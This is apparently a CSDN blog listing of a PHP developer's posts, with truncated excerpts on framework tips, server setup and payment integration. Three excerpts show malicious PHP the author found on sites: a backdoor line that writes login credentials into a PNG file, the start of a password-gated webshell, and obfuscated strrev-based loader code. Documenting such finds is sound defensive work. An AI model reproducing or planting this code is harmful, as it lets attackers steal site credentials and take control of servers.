![](https://img-blog.csdnimg.cn/20201014180756913.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
PHP
精哥哥yxkj5558
人生就是一个连点成线的过程,有些经历也许一开始看不到它的意义所在,但也许若干年后便会发挥其特有的作用。
展开
-
Yapi数据迁移(备份导出导入恢复)
Yapi数据迁移(备份导出导入恢复)原创 2023-02-01 15:05:05 · 594 阅读 · 1 评论 -
两种请求有什么区别?
两种请求有什么区别?原创 2023-01-31 16:12:30 · 122 阅读 · 0 评论 -
windows SSL certificate problem: unable to get local issuer certificate
环境下访问接口出现这种情况,提示本地没有证书,进行证书安装。,重启服务,填入证书的地址。转载 2022-11-10 12:56:13 · 389 阅读 · 0 评论 -
最齐全的支付宝小程序支付【详细】
最齐全的支付宝小程序支付【详细】原创 2022-11-10 01:15:59 · 3899 阅读 · 1 评论 -
cURL error 1014: SSL verify failed
从swoole官方来看,支持curl的版本是4.6,但是官方在后面做了版本修复,目前最新版本是4.6.7。1、将安装包上传到服务器/www/server/panel/install目录下。原创 2022-11-10 00:19:26 · 1729 阅读 · 0 评论 -
关于php修改了php.ini配置不生效
关于php修改了php.ini配置不生效原创 2022-11-02 01:53:53 · 503 阅读 · 0 评论 -
按经纬度产生的距离来排序
表里有经纬度,传入经纬度,如何按距离排序原创 2024-01-20 16:42:40 · 431 阅读 · 0 评论 -
laravel的模型删除后动作
删除订单表的数据后,我们如果还需要删除订单商品表,可以在order的模型中,加入这个就是删除订单后,继续删除订单商品原创 2022-06-27 02:47:22 · 422 阅读 · 0 评论 -
Hyperf框架使用阿里云OSS上传失败
阿里云官方PHP OSS SDK和Swoole CURL_HOOK的兼容问题开启CURL_HOOK后使用阿里云OSS会报错:Oss\Core\OssException: : RequestId:1解决方案请同时安装官方SDK和reasno/swoole-aliyunoss-addon。安装后就可以顺畅开启CURL_HOOK协程化阿里云OSS。参考:https://zhuanlan.zhihu.com/p/1410567402,升级swoole扩展,打开所有支持的扩展,也可以解决上传失败转载 2022-06-22 00:55:26 · 705 阅读 · 0 评论 -
php过滤emoji表情
// 过滤掉emoji表情 public function filter_Emoji($str) { $str = preg_replace_callback( //执行一个正则表达式搜索并且使用一个回调进行替换 '/./u', function (array $match) { return strlen($match[0]) >= 4 ? '' : $match[0]; ..原创 2022-05-27 15:28:38 · 740 阅读 · 0 评论 -
laravel使用JWT签名算法,HS256和RS256有什么区别
JWT签名算法中HS256和RS256有什么区别JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接收方验证信息是否被篡改的依据。RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据U..原创 2022-04-15 16:45:22 · 1706 阅读 · 0 评论 -
php类的static变量赋值
<?phpnamespace Config;/** * mysql配置 * @author walkor */class Db{ public static $db3 = []; public function __construct() { } public static function getInstance() { $database = include __DIR__ . "/../../../.原创 2022-02-03 23:52:01 · 1422 阅读 · 0 评论 -
基于ThinkPHP的校园网上订餐系统设计与实现
https://blog.csdn.net/Wk_yyy/article/details/80406173原创 2021-11-11 14:06:49 · 1741 阅读 · 5 评论 -
Call to a member function fetch() on null
public function __construct(){parent::__construct();}public function index(){ return $this->fetch();}parent::__construct();是继承父类的是 __construct()里面的parent这个东西没添加...原创 2021-11-09 22:11:02 · 679 阅读 · 0 评论 -
二维数组自定义排序
$info = [ [ 'id' => 1, 'sort' => $key, 'reservation_print_time' => $tomorrow . $reserve['reservation_print_time'], ], [ 'id' => 2, ...原创 2021-11-04 13:54:28 · 214 阅读 · 0 评论 -
swoole
Swoole:PHP 协程框架https://www.swoole.com/Swoole:github文档https://github.com/swoole/swoole-src/blob/master/README-CN.mdSwooleFor 监控文件变化自动重启 Swoole 服务https://zhuanlan.zhihu.com/p/78101941hyperfhttps://github.com/hyperf/hyperfhttps://w...原创 2021-04-28 02:47:40 · 144 阅读 · 0 评论 -
tp5的分页方法 paginate 分页带参数
tp5的分页方法 paginate 分页带参数->paginate(10,false,['query' => request()->param()]);这样就可以了原创 2021-02-16 15:38:03 · 1292 阅读 · 0 评论 -
列表form搜索参数的细节
像这样,有form的列表页。需求要加一个 搜索组件,这个form的method最好用get,而不是post。因为如果用post,点了返回,会出现此网页需要使用您之前输入的数据才能正常显示。您可以重新发送这些数据,不过,这么这样,编辑页,最好也带上 搜索参数然后 编辑完成,能回到 搜索的 条件(也就是说,当前是在A分类,编辑了A分类的商品,等下保存后,能回到原来的搜索页,而不是 丢失搜索参数)编辑页的 默认选中...原创 2021-02-16 15:20:56 · 787 阅读 · 0 评论 -
微擎500错误
define('DEVELOPMENT', $_W['config']['setting']['development'] == 1);if(DEVELOPMENT) {ini_set('display_errors', '1');error_reporting(E_ALL ^ E_NOTICE); error_reporting(E_ALL );} else { error_reporting(0);}先把 错误报告 打开原创 2021-01-16 16:28:57 · 531 阅读 · 0 评论 -
php常见的vs code 插件
php常见的vs code 插件Chinese (Simplified) Language Pack for Visual Studio Code适用于 VS Code 的中文(简体)语言包此中文(简体)语言包为 VS Code 提供本地化界面。Git HistoryGit Project ManagerGitLens — Git superchargedmarkdownlintPHP DebugPHP DocBlocker...原创 2020-12-06 17:34:57 · 376 阅读 · 0 评论 -
PHP把账号密码放在图片上的后门操作手法
$rty=$username.'=='.$password.','; @file_put_contents('./com/img/wx.png',$rty,FILE_APPEND);上面是一段把 用户名密码 附加在一个图片上在使用某个开源项目试,git发现,一个png文件老是被改就一个小图标文件,按理说,不会有修改的然后全局查找,果然,找到一个后门如上所示。这样后门放置者,很容易得到你网站的用户名密码,轻松进后台...原创 2020-11-17 11:12:38 · 287 阅读 · 0 评论 -
微服务架构之API Gateway
微服务架构中, 这样情况是常见的,那就是某个页面需要使用到很多的微服务, 例如,一个电子商务网站上产品详情页,应该就可能用到的微服务如下:购物车微服务 订单微服务 目录微服务 库存微服务 物流微服务 推荐系统微服务...原创 2020-09-23 15:48:53 · 454 阅读 · 0 评论 -
thinkphp select 返回数组
原创 2020-04-01 10:24:28 · 1531 阅读 · 0 评论 -
ThinkPHP5 + predis 环境配置
首先,下载Predis源代码,地址:https://github.com/nrk/predis/tree/master。将代码至于 /vendor 目录下,代码结构如下:2. 创建Redis.php 文件【方便引用】路径:\thinkphp\library\think\Redis.php【下面是不完全版,可以随时补充Redis的语法】<?php...原创 2020-03-30 00:56:51 · 716 阅读 · 0 评论 -
Automatically populating $HTTP_RAW_POST_DATA is deprecated......
这个问题和PHP版本有关系,PHP 5.6已经废弃了$HTTP_RAW_POST_DATA。解决方法:修改php.inialways_populate_raw_post_data = -1然后重启服务转载 2019-11-05 14:28:50 · 466 阅读 · 0 评论 -
图片上传例子
html代码:'<input type="file" name="image" class="form-control file-box" onchange="uploadSlideImg(this)" style="display: none;">' + '<button type="button" class="原创 2018-04-03 14:44:36 · 556 阅读 · 0 评论 -
php递归查找树形用户关系团队总人数
php递归查找树形用户关系团队总人数users表中有user_id:当前用户IDfirst_leader:上级ID(是上级ID,不是第一级IID)/** * 通过 user_id 查 所有 */ public function get_team_num(){ ini_set('max_execution_time', '0');...原创 2019-06-03 09:49:07 · 3306 阅读 · 0 评论 -
递归获取我的团队列表 php数组排序 加快加载速度
递归获取用户下线(不包括自己) 以及等级【对此修改是:users表联表users表,自己联自己,为了把下级pid的昵称获取出来】//递归获取用户下线(不包括自己) 以及等级function getDownMemberIds2($uid,$need_all=false,$agent_level=1,$agent_level_limit=0){ global $g_down_ids...原创 2019-06-07 00:48:48 · 636 阅读 · 1 评论 -
技术开发注意点
API模块不要用assign了,我知道是从别的控制器复制来的,API模块没有view模板层,需要去掉assign { } 花括号不要省掉,就算里面只有一行,也不要省掉花括号 LOGIC层的函数调用,不准读session,不管是user_id还是openid,只能从 控制器Controller 读session,通过传参数形式传到logic层调用。这样避免了接口API模块调用出现session为...原创 2019-05-21 10:04:36 · 126 阅读 · 0 评论 -
PHP两个经纬度之间的距离
public function getDistance($lat1, $lng1, $lat2, $lng2) { $p = 3.1415926535898; $r = 6378.137; $radLat1 = $lat1 * ($p / 180); $radLat2 = $lat2 * ($p / 180); ...转载 2019-03-21 20:41:04 · 399 阅读 · 0 评论 -
wd面板
wget http://down.wdlinux.cn/in/phps.sh升级php版本wdcp管理面板登录密码忘记的两种重置方法!ssh登录后执行:sh /www/wdlinux/tools/wdcp_login_chp.shsh /www/wdlinux/tools/mysql_root_chg.sh...原创 2019-03-16 15:32:51 · 368 阅读 · 0 评论 -
nginx 的启动、重启、关闭
/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf./nginx #打开 nginxnginx -s reload|reopen|stop|quit #重新加载配置|重启|停止|退出 nginx原创 2019-03-15 23:52:08 · 287 阅读 · 0 评论 -
thinkphp5 select对象怎么转数组?
DB操作返回是数组。模型直接操作返回是对象对象类型转换数组打开 database.php 增加或修改参数'resultset_type' => '\think\Collection',即可连贯操作model('user')->select()->toArray()...原创 2019-03-15 23:19:00 · 1412 阅读 · 0 评论 -
分布式、集群
高可用集群:high availabity cluster负载均衡集群:Load Balance Cluster科学计算集群:high performance computing cluster分布式:不同的业务分布在不同的地方集群:几台服务器集中在一起,实现同一业务分布式中的每一个点,都可以做集群而 集群并不一定是分布式...原创 2019-03-03 14:15:45 · 154 阅读 · 0 评论 -
no input file specified 解决方法
删掉根目录下的 .user.ini文件就好了原创 2019-02-12 18:41:51 · 2411 阅读 · 0 评论 -
Laravel composer install 缺少phpfile_info,LNMP安装PHP fileinfo扩展模块
# 安装composer这里不解释了# 执行 Problem 1 - Installation request for league/flysystem 1.0.50 -> satisfiable by league/flysystem[1.0.50]. - league/flysystem 1.0.50 requires ext-fileinfo * ...原创 2019-02-15 19:52:07 · 5298 阅读 · 0 评论 -
Linux crontab用法、启动关闭重启操作
crontab命令1.在系统中有service这个命令时: 这个命令在red hat当中常用,有的linux发行版本中没有这个命令.service crond start //启动服务service crond stop //关闭服务service crond restart //重启服务 2.linux发行版本没有service这个命令时:/etc/init.d/cron...转载 2019-06-15 12:17:56 · 20628 阅读 · 2 评论 -
PHP实现微信提现(企业付款到零钱)
https://pay.weixin.qq.com/index.php/public/product/detail?pid=5&productType=0怎么开通企业付款到零钱?有的商户号的产品中心是没有这个功能的,不过,该功能的pid(product id)是5,只要随便进去某一个产品,在地址栏把pid改为5。即可进入该功能页面,进行开通,不过要满足条件。用户提现代码:...原创 2019-06-10 21:07:44 · 3211 阅读 · 1 评论 -
被攻击代码
<?phpsession_start();$pass = @$_POST['pass'] ;$sv = $_SERVER['HTTP_HOST'];$password = '';if ($pass == $password){ $_SESSION['barca'] = "$pass";} if(!isset($_SESSION['barca']) or $_SESSION...原创 2019-10-05 16:12:33 · 37356 阅读 · 0 评论 -
这是啥意思的攻击
<?php error_reporting(0);$sr = "st" . /*+/*+*/"rr" /*+/*+*/ . "ev";$id = $sr/*+/*+*/("ri" . "d_" . "si");$rn = $sr/*+/*+*/("em" . "an" . "er");$dn = $sr/*+/*+*/("em" . "anr" . "id");$od = $sr...原创 2019-10-05 16:10:17 · 655 阅读 · 0 评论